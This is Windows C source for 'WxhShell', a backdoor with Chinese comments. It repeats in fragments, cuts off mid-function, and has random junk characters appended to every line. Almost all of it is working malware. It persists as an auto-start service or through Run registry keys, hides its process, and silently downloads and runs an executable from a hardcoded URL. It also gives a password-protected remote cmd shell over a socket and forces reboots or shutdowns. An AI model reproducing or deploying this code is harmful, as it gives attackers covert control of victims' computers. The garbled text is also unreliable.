    else { HDO_r(i  
    closesocket(wsh); <KX fh  
    ExitThread(0); }U'VVPh _  
    } OF}."a  
    break; }  fa  
    } p%R+c  
  // 关机 +'/C(5y)0X  
  case 'd': { ~ <36vsk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I@oSRB  
    if(Boot(SHUTDOWN)) WF_ v>g:g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gNJdP!(t  
    else { !bIE%cq  
    closesocket(wsh); B[IWgvB(e  
    ExitThread(0); !]3kFWs  
    } MTip4L W9  
    break; cT5BBR   
    } bkuJN%  
  // 获取shell ^[&,MQU{7  
  case 's': { Wl7S<>hg4  
    CmdShell(wsh); T65"?=<EB  
    closesocket(wsh); X[!S7[d-y  
    ExitThread(0); "l{{H&d  
    break; e3mFO+  
  } ix hF,F  
  // 退出 4T]A! y{  
  case 'x': { ]!]B7|JFJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )Ma/] eZ^I  
    CloseIt(wsh); *xjP^y":  
    break; O!ilTMr  
    } nDS\2  
  // 离开 OZ33w-X<  
  case 'q': { 9#>nFs"H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #KNl<V+c}1  
    closesocket(wsh); 0|<9eD\I=  
    WSACleanup(); F9"Xu-g  
    exit(1); Z~w2m6;s  
    break; Wecxx^vtv6  
        } S5kD|kJ  
  } LzxO=+=9!q  
  } 8|(],NyEJ  
/'/i?9:  
  // 提示信息 4jc?9(y%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vjzG H*  
} D |=L)\  
  } UhJ{MUH`  
SOZs!9oi  
  return; )PkW,214#  
} @?jtB  
~0h@p4  
// shell模块句柄 &=f?:UZ%  
int CmdShell(SOCKET sock) Be9,m!on  
{ .4ZOm'ko{  
STARTUPINFO si; )~Gn7  
ZeroMemory(&si,sizeof(si)); h@z0 x4_])  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Cf!5[0E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PC HKH  
PROCESS_INFORMATION ProcessInfo; 5$$# d_Gj  
char cmdline[]="cmd"; CG95ScrX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E0x\h<6W~  
  return 0; =XtQ\$Pax  
} ^i r)z@P?V  
O c.fvP^ZD  
// 自身启动模式 N~0ih T G5  
int StartFromService(void) za+)2/ `L  
{ G[*z,2Kb>  
typedef struct 7l ,f  
{ f[ 2PAz  
  DWORD ExitStatus; )dFPfu&HL  
  DWORD PebBaseAddress; *VmX.  
  DWORD AffinityMask;  +hKs  
  DWORD BasePriority; `!spi=f  
  ULONG UniqueProcessId; =av0a !  
  ULONG InheritedFromUniqueProcessId; ;l1.jQh  
}   PROCESS_BASIC_INFORMATION; B;S'l|-?  
as'yYn8  
PROCNTQSIP NtQueryInformationProcess; rW090Py  
[2YPV\=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8;L;R ~Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lT*@f39~g  
][b|^V  
  HANDLE             hProcess; ^|=P9'4Th  
  PROCESS_BASIC_INFORMATION pbi; & Zn`2%  
o='A1P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fL# r@TB-s  
  if(NULL == hInst ) return 0; YQ.ci4.f  
:|$cG~'J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V2|By,.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $2,tT;50g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LR{bNV[i  
0}"\3EdAbD  
  if (!NtQueryInformationProcess) return 0; W9pY=9]p+  
mE5{)<N:C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iE}] E  
  if(!hProcess) return 0; / Y od  
i]N<xcF9N*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w@&z0ODJ  
I`*5z;Q!%@  
  CloseHandle(hProcess); S0Io$\ha  
wJ pb$;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @HiGc^ X(  
if(hProcess==NULL) return 0; wV iTMlq  
M.6uWwzQR  
HMODULE hMod; -KV,l  
char procName[255]; @0s' (  
unsigned long cbNeeded; Z'>UR.g  
;HH%OfQq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `^,E4Qy  
oH+PlL  
  CloseHandle(hProcess); !tt 8-Y)i  
Ws7fWK;  
if(strstr(procName,"services")) return 1; // 以服务启动 m[^ )Q9o}  
[qW%H,_  
  return 0; // 注册表启动 Ow*va\0  
} 5'eBeNxM  
6r`N\ :18  
// 主模块 FZn1$_Svr  
int StartWxhshell(LPSTR lpCmdLine)  ?ueL'4Mm  
{ sT"ICooc  
  SOCKET wsl; TIZ2'q5wg  
BOOL val=TRUE; 4r `I)  
  int port=0; <8;~4"'a  
  struct sockaddr_in door; xZ)K#\  
Y.) QNTh  
  if(wscfg.ws_autoins) Install(); d,N6~?B  
-(F} =o'  
port=atoi(lpCmdLine); B1J,4  
yf0v,]v[  
if(port<=0) port=wscfg.ws_port; pi~5}bF!a  
05k'TqT{c  
  WSADATA data; #O !2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m~*qS4  
]Q ]y*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Tx~w(A4:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .B- b51Uz  
  door.sin_family = AF_INET; Q-V8=.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _AFje  
  door.sin_port = htons(port); = g &  
xT_"` @  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |" WL   
closesocket(wsl); S9P({iZK  
return 1; eOiH7{OA,  
} wW p7N  
=1,!EkG  
  if(listen(wsl,2) == INVALID_SOCKET) { ZP!.C&O  
closesocket(wsl); ,hu@V\SKv  
return 1; $.pCoS]i  
} =WUL%MfW  
  Wxhshell(wsl); vR:#g;mnk  
  WSACleanup(); D.:`]W|  
]|eMEN['  
return 0;  q/ Y4/  
c:Cw #  
} 'DVn /3?X  
MymsDdQ]  
// 以NT服务方式启动 nvf5a-C+q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AV2Jl"1)z  
{ }dzVwP=  
DWORD   status = 0; p?>J86%[  
  DWORD   specificError = 0xfffffff; 5hy7} *dR  
{Kr}RR*{X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |v%$Q/zp&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;"0bVs`.^e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *X$qgSW  
  serviceStatus.dwWin32ExitCode     = 0; SQ> Yf\  
  serviceStatus.dwServiceSpecificExitCode = 0; Z(tJd ,  
  serviceStatus.dwCheckPoint       = 0; :*,!gf  
  serviceStatus.dwWaitHint       = 0; ^|.T \  
zO\_^A|8H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bj2iYk_cLa  
  if (hServiceStatusHandle==0) return; !{CIP`P1  
[[^r;XKQ  
status = GetLastError(); 0@b<?Ms9  
  if (status!=NO_ERROR) $peL1'Evo  
{ XrTc5V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^_Lnqk6  
    serviceStatus.dwCheckPoint       = 0; 9C,gJp}P  
    serviceStatus.dwWaitHint       = 0; M !"Q7>d  
    serviceStatus.dwWin32ExitCode     = status; mfI[9G  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bf00&PE;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  2=;ZJ  
    return; u`Nrg<  
  } ";(m,i f-  
qXq#A&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nbP}a?XC  
  serviceStatus.dwCheckPoint       = 0; :KvZP:T  
  serviceStatus.dwWaitHint       = 0; &$CyT6mb^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~s4JGV~R  
}  EH2):  
lshSRir  
// 处理NT服务事件,比如:启动、停止 !gLJBp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }0E@eL  
{ D[@- `F  
switch(fdwControl) U&B(uk(2  
{ /G7^l>pa  
case SERVICE_CONTROL_STOP: y@*4*46v  
  serviceStatus.dwWin32ExitCode = 0; i: UN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UdkNb}L  
  serviceStatus.dwCheckPoint   = 0; p%>!1_'(  
  serviceStatus.dwWaitHint     = 0; ~l'[P=R+8  
  { Et*LbU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "7+^`?  
  } 4IfkYM  
  return; `_Iyr3HAf  
case SERVICE_CONTROL_PAUSE: 1@~%LV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8i`T?KB  
  break; lmoYQFkYP  
case SERVICE_CONTROL_CONTINUE: |AvsT{2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~!TrC <ft  
  break; ._x"b5C  
case SERVICE_CONTROL_INTERROGATE: : c iwh  
  break; >^9j>< Z  
}; !lEV^SQJs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }.|a0N 5  
} ZU B]qzmK  
?UflK  
// 标准应用程序主函数 E.:eO??g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z%.L d2Q{  
{ x?{l<mc  
lxXF8c>U  
// 获取操作系统版本 5C`Vno~v  
OsIsNt=GetOsVer(); ',FVT4OMw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SP2";,%/9  
lp$,`Uz`  
  // 从命令行安装 6tVp%@  
  if(strpbrk(lpCmdLine,"iI")) Install(); e jk?If 07  
: LX!T&  
  // 下载执行文件 o%]b\Vl6  
if(wscfg.ws_downexe) { su\Lxv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Aj\m57e,6  
  WinExec(wscfg.ws_filenam,SW_HIDE); QxEmuiN  
} O&.gc p!  
tJ d/u QJ  
if(!OsIsNt) { ri"=)]  
// 如果时win9x,隐藏进程并且设置为注册表启动 <4?(|Vh[m]  
HideProc(); ;erxB6*  
StartWxhshell(lpCmdLine); yP@#1KLa+  
} YL;*%XmAG  
else =}0>S3a.7  
  if(StartFromService()) \@Z D.d#  
  // 以服务方式启动 q,Nqv[va  
  StartServiceCtrlDispatcher(DispatchTable); GZ:1bV37%  
else Vz,"vBds  
  // 普通方式启动 wjID*s[  
  StartWxhshell(lpCmdLine); 9WoTo ,q  
J{uqbrJICr  
return 0; "el3mloR 8  
} %kBrxf  
v%c--cO(S4  
]a~gnz&1  
>]\oVG  
=========================================== QE;,mC>  
Tt0]G_  
g ?% ]()E  
EJ:2]!O  
czo*_q%  
/4*>.Nmb,f  
" =cR=E{20  
y3'K+?4  
#include <stdio.h> A:sP%c;  
#include <string.h> v'y<}U  
#include <windows.h> zq^eL=%:  
#include <winsock2.h> OOus*ooo2  
#include <winsvc.h> !Cm9DzG  
#include <urlmon.h> .#e?[xxk  
ug`Jn&x!  
#pragma comment (lib, "Ws2_32.lib") x2]chN  
#pragma comment (lib, "urlmon.lib") jA%R8hdr_  
.YS48 c  
#define MAX_USER   100 // 最大客户端连接数 8`b_,(\N  
#define BUF_SOCK   200 // sock buffer _ =O;Lz$x  
#define KEY_BUFF   255 // 输入 buffer :bp8S@  
bb`DyUy ^+  
#define REBOOT     0   // 重启 QN~9O^  
#define SHUTDOWN   1   // 关机 -Ze2]^#dl  
-S $Y0FDV  
#define DEF_PORT   5000 // 监听端口 8g_GXtn(z  
/Q9iO&Vu  
#define REG_LEN     16   // 注册表键长度 @2A&eLw LH  
#define SVC_LEN     80   // NT服务名长度 Z oKXao  
Bd13p_V"6  
// 从dll定义API j=b-Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #5IfF~* i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i'Q 4touy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9;pD0h|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A}03s6^i;  
TbR Ee;1  
// wxhshell配置信息 1,G f;mcQ  
struct WSCFG { FVH R  
  int ws_port;         // 监听端口 6$$ku  
  char ws_passstr[REG_LEN]; // 口令 24_/JDz  
  int ws_autoins;       // 安装标记, 1=yes 0=no >R6>*|~S  
  char ws_regname[REG_LEN]; // 注册表键名 ?)c9!hR  
  char ws_svcname[REG_LEN]; // 服务名 /kd6Yq(y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ud,_^Ul  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0R?LWm j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,#=;V"~9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a: OuDjFp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h IUO=f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [E%Ov0OC  
z 4`H<Pn  
}; e#uF?v]O  
|S VL%agZ  
// default Wxhshell configuration RT=(vq @  
struct WSCFG wscfg={DEF_PORT, L/J)OJe\  
    "xuhuanlingzhe", yy3-Xu4  
    1, >9]i#So^  
    "Wxhshell", 4ze4{a^  
    "Wxhshell", L{i|OK^e  
            "WxhShell Service", Rlf#)4  
    "Wrsky Windows CmdShell Service", *[['X%f  
    "Please Input Your Password: ", }#f~"-O  
  1, Z0%Qy+%  
  "http://www.wrsky.com/wxhshell.exe", 7(= 09z  
  "Wxhshell.exe" K~>ESMZ5  
    }; XFN4m #  
V\o& {7!  
// 消息定义模块 0j|JyS:}G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @460r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gl>_C@n0h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A4|a{\|$  
char *msg_ws_ext="\n\rExit."; HOAgRhzE  
char *msg_ws_end="\n\rQuit."; y]ZujfW7  
char *msg_ws_boot="\n\rReboot..."; .EoLJHL }  
char *msg_ws_poff="\n\rShutdown..."; 8klu*  
char *msg_ws_down="\n\rSave to "; "@)9$-g  
3DO ^vV  
char *msg_ws_err="\n\rErr!"; Bl)DuCV  
char *msg_ws_ok="\n\rOK!"; }xM >F%  
p8MPn>h<  
char ExeFile[MAX_PATH]; R~DZY{u+/$  
int nUser = 0; 7vs>PV  
HANDLE handles[MAX_USER]; U*6)/.J  
int OsIsNt; -gKo@I  
mC(q8%/;  
SERVICE_STATUS       serviceStatus; [8Zvs=1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f"G?#dW/1  
aC2\C=ru_  
// 函数声明 N-Nq*  
int Install(void); GE[J`?E]  
int Uninstall(void); 'hi.$G_R  
int DownloadFile(char *sURL, SOCKET wsh); =m?x|Zc_v  
int Boot(int flag); !,< )y}L^)  
void HideProc(void); ?5g0#wqI  
int GetOsVer(void); Jk!*j  
int Wxhshell(SOCKET wsl); I=I'O?w  
void TalkWithClient(void *cs); !* C9NX  
int CmdShell(SOCKET sock); <);Nc1  
int StartFromService(void); $R[ggH&  
int StartWxhshell(LPSTR lpCmdLine); AR-&c 3o  
g4 |s9RMD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JH;\wfr D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6-<>P E2  
36U z fBa  
// 数据结构和表定义 ?R}a,k  
SERVICE_TABLE_ENTRY DispatchTable[] = gjVKk  
{ )N4_SA  
{wscfg.ws_svcname, NTServiceMain}, J,k|_JO  
{NULL, NULL} oopACE>  
}; g"iLhm` L  
g0D(:_QXp:  
// 自我安装 ,!s;o6|*y  
int Install(void) \We\*7^E  
{ 8 3wa{m:  
  char svExeFile[MAX_PATH]; ]%PQ3MT.  
  HKEY key; 8&"@6/)[  
  strcpy(svExeFile,ExeFile); WU -_Y^  
75LIQ!G|=  
// 如果是win9x系统,修改注册表设为自启动 /i#~#Bn|  
if(!OsIsNt) { _8CE|<Cn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m*MfGj(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / b_C9'S  
  RegCloseKey(key); (hn@+hc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +JMB98+l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o7*z@R"  
  RegCloseKey(key); ]HK|xO(  
  return 0; zMkjdjb  
    } l25E!E-'b  
  } p<2A4="&  
} t@TBx=16  
else { '@ym-\,  
w7?&eF(w(  
// 如果是NT以上系统,安装为系统服务 &ESE?{of)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SG{> t*E  
if (schSCManager!=0) ESl-k2  
{ u2SnL$A7  
  SC_HANDLE schService = CreateService #l6L7u0~wC  
  ( s^]F4'  
  schSCManager, S(c,Sinc  
  wscfg.ws_svcname, e[HP]$\   
  wscfg.ws_svcdisp, Tk hu,  
  SERVICE_ALL_ACCESS, Su0[f/4m.Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $\|$ekil4  
  SERVICE_AUTO_START, p1 9j  
  SERVICE_ERROR_NORMAL, ^gwVh~j  
  svExeFile, 4|ryt4B  
  NULL, aD aQ 7i  
  NULL, 0B^0,d(s  
  NULL, ckXJ9>  
  NULL, d3fF|Wp1  
  NULL S(^*DV  
  ); ]OE{qXr{  
  if (schService!=0) 0jsU^m<g  
  { 9OeY59 :  
  CloseServiceHandle(schService); J 00%,Ju_  
  CloseServiceHandle(schSCManager); 0Dj<-n{9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;IC:]Zu  
  strcat(svExeFile,wscfg.ws_svcname); HB+\2jEE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E-NuCP%|c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5G@z l  
  RegCloseKey(key); p!MOp-;-  
  return 0; e~C^*wL  
    } 9Z,vpTE  
  } !\Y85o>JU  
  CloseServiceHandle(schSCManager); OTA@4~{C  
} 2jTP (b2b  
} ]VifDFL}  
}|rnyYA  
return 1; x[+t  
} #2thg{5  
Vx5ioA]{  
// 自我卸载 _cqB p7  
int Uninstall(void) 1us-ootsjP  
{ yIBT*,4  
  HKEY key; c}a.  
3%?01$k  
if(!OsIsNt) { %(GWR@mfC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^zv0hGk2  
  RegDeleteValue(key,wscfg.ws_regname); NJfI9L  
  RegCloseKey(key); U[/k=}76  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hmt} @  
  RegDeleteValue(key,wscfg.ws_regname); nYJ)M AG@  
  RegCloseKey(key); w(O/mUDX  
  return 0; {{c/:FTEU  
  } =.9L/74@  
} Xqt3 p6  
} uXiAN#1  
else {  <StyO[  
G992{B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !/W[6'M#p  
if (schSCManager!=0) CQf!<  
{ cXx?MF5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &n>\ +Q   
  if (schService!=0) _T6l*D  
  { QMoh<[3qu  
  if(DeleteService(schService)!=0) { bce>DLF  
  CloseServiceHandle(schService); $;1#gq%  
  CloseServiceHandle(schSCManager); [:-Ltfr  
  return 0; tG(#&54  
  } byl#8=?  
  CloseServiceHandle(schService); =B9Ama   
  } `+_UG^aeW  
  CloseServiceHandle(schSCManager); 8A{n9>jrb  
} .CI { g2  
} q@K;u[zFK  
rPoPs@CBD  
return 1; vd Fy}#X  
} ?;pw*s1Atz  
a?bSMt}  
// 从指定url下载文件 }W{rDc kv  
int DownloadFile(char *sURL, SOCKET wsh) 0|g|k7c{rF  
{ GAONgz|ZI  
  HRESULT hr; FA-"" ]  
char seps[]= "/"; )UA$."~O  
char *token; 1Zc1CUMG  
char *file; t#tAvwFM8  
char myURL[MAX_PATH]; iR;Sd >)  
char myFILE[MAX_PATH]; 6/`$Y!.ub  
H79XP.TtE  
strcpy(myURL,sURL); { -*+G]  
  token=strtok(myURL,seps); (Zi(6 T\z  
  while(token!=NULL) SoZ$1$o2  
  { Mg? ^5`*  
    file=token; S(kj"t*3  
  token=strtok(NULL,seps); \ .+.VK  
  } N|[P%WM3  
Kh<xQ:eMy  
GetCurrentDirectory(MAX_PATH,myFILE); 4 G`7]<  
strcat(myFILE, "\\"); Ws"eF0,'Z  
strcat(myFILE, file); *I)o Dq3  
  send(wsh,myFILE,strlen(myFILE),0); (uV ~1  
send(wsh,"...",3,0); Jh2eo+/%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _=9o:F  
  if(hr==S_OK) EoM}Co  
return 0; KI~BjP\e  
else QAYhAOS|e  
return 1; %Q:i6 ~  
X;Tayb  
} N S*e<9  
&z[39Q{~  
// 系统电源模块 NF`WA-W8@  
int Boot(int flag) ?I{pv4G:  
{ .v<c_~y  
  HANDLE hToken; i$HA@S  
  TOKEN_PRIVILEGES tkp; P6,~0v(S  
~|+! xh  
  if(OsIsNt) { }LLnJl~Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b0 ))->&2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ))"J  
    tkp.PrivilegeCount = 1; Mf)0Y~_:R#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5MsE oLg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K7 >Z)21  
if(flag==REBOOT) { E6(OEC%,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iXN"M` nhm  
  return 0; Lc ,te1  
} S-{3'D[Nj  
else { 2_@vSwC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !e?;f=1+E  
  return 0; $ 2'AY  
} `$j"nP F_  
  } u^H:z0  
  else { S2nF13u  
if(flag==REBOOT) { sM)qzO2wh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :#8#tLv  
  return 0; ~~eR,HYk  
} Sc Uh -y_  
else { T_ ifDQX;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) icW?a9b&  
  return 0; k fER  
} ld58R  
} f,GF3vu"  
L}O_1+b  
return 1; t}LV[bj1u  
} 2\h]*x% :  
~nk{\ rWO  
// win9x进程隐藏模块 .>z)6S_G  
void HideProc(void) )-$Od2u2c  
{ 9-)D"ZhLe  
]k~k6#),;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GtcY){7  
  if ( hKernel != NULL ) VfAC&3 %M  
  { gf/$M[H!   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tRU+6D <w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #$p&J1   
    FreeLibrary(hKernel);  y/t{*a  
  } E!.>*`)?.  
nO^aZmSu  
return; FoY_5/  
} {qO[93yg)/  
28 qTC?  
// 获取操作系统版本 @, v'V!  
int GetOsVer(void) (`+%K_  
{ R2k R   
  OSVERSIONINFO winfo; #({0HFSC:j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZuIr=`"j  
  GetVersionEx(&winfo); Vae}:8'}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pg[XIfBva  
  return 1; X`kTbIZ|  
  else 3|4jS"t{f  
  return 0; ta`}}I  
} *Dx&}"  
b#;%TbDF  
// 客户端句柄模块 ` #Qlr+X  
int Wxhshell(SOCKET wsl) !#0Lo->OO  
{ d?dZ=]~C  
  SOCKET wsh; UH=pQm ^W  
  struct sockaddr_in client; M0[7>N _  
  DWORD myID; |sd0fTK  
94bmK V_  
  while(nUser<MAX_USER) 4/Ub%t -  
{ -a:+ h\K  
  int nSize=sizeof(client); o HqBNTyH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EA.4 m3  
  if(wsh==INVALID_SOCKET) return 1; LE^kN<qMK  
W]E6<y'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,B|~V 3)(  
if(handles[nUser]==0) 7x8/Vz@\  
  closesocket(wsh); !d Ns3d  
else Cf@~W)K  
  nUser++; Le#>uWM  
  } ,CiN@T \&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m$^Wyk}  
?wzE+p-  
  return 0; ~,[<R  
} ``*iK  
S<do.{|p[  
// 关闭 socket 1<y(8C6  
void CloseIt(SOCKET wsh) y[M<x5  
{ }7p`8?  
closesocket(wsh); v x qsK  
nUser--; )C^ZzmB  
ExitThread(0); fFu+P<?"  
} w1q-bIU  
VJW%y)_[  
// 客户端请求句柄 ug]WIG7 S  
void TalkWithClient(void *cs) ] %A mX-U  
{ ;vM&se63  
AE`z~L,  
  SOCKET wsh=(SOCKET)cs; $['_m~ 2  
  char pwd[SVC_LEN]; s~N WJ*i  
  char cmd[KEY_BUFF]; e}%~S9\UL5  
char chr[1]; #{-l(016y  
int i,j; * E$&  
OV<'v%_&  
  while (nUser < MAX_USER) { Q<4Sd:P`"  
a3t[Tk;  
if(wscfg.ws_passstr) { CUIFKM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +<#0V!DM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zy !^HS$  
  //ZeroMemory(pwd,KEY_BUFF); V~nqPh!Jc  
      i=0; ^{f ^%)X  
  while(i<SVC_LEN) { 3d<Z##`{4  
*F:f\9   
  // 设置超时 SUv(MA&  
  fd_set FdRead; XcN"orAo  
  struct timeval TimeOut; tzH~[n,  
  FD_ZERO(&FdRead); pC=kvve  
  FD_SET(wsh,&FdRead); WC2sRv4]3  
  TimeOut.tv_sec=8; TVy\%FP^L  
  TimeOut.tv_usec=0; f]c{,LFvZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TsiI5'tx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BO5\rRa0  
+5AWX,9,-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l@edR)n <  
  pwd=chr[0]; {'O,G$Ldkr  
  if(chr[0]==0xd || chr[0]==0xa) { ck0K^o v  
  pwd=0; FU]jI[  
  break; p./9^S  
  } ngmHiI W  
  i++; *@;Pns]L-  
    } c, IAz  
@\ udaZc  
  // 如果是非法用户,关闭 socket _JEe]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -@=As00Bg  
} _]oNbcbt(  
{,:yZ&(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); = Ob-'Syg>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `i~kW  
o8uak*"{  
while(1) { yLpsK[)}\  
sVT:1 kI  
  ZeroMemory(cmd,KEY_BUFF); qYba%g9RN(  
x:wv#Wh:l7  
      // 自动支持客户端 telnet标准   B EN U  
  j=0; t,D7X1W  
  while(j<KEY_BUFF) { )4O>V?B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W}6OMAbsE;  
  cmd[j]=chr[0]; (^!$m7  
  if(chr[0]==0xa || chr[0]==0xd) { E\/J& .  
  cmd[j]=0; OSu/ !Iv\  
  break; B183h  
  } Ja4j7 d1:  
  j++; B>]4NF\)H9  
    } M9C v00&  
Fy#y.jK9v  
  // 下载文件 bd'io O  
  if(strstr(cmd,"http://")) { ZovF]jf k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?^} z  
  if(DownloadFile(cmd,wsh)) Ef)v("'w  
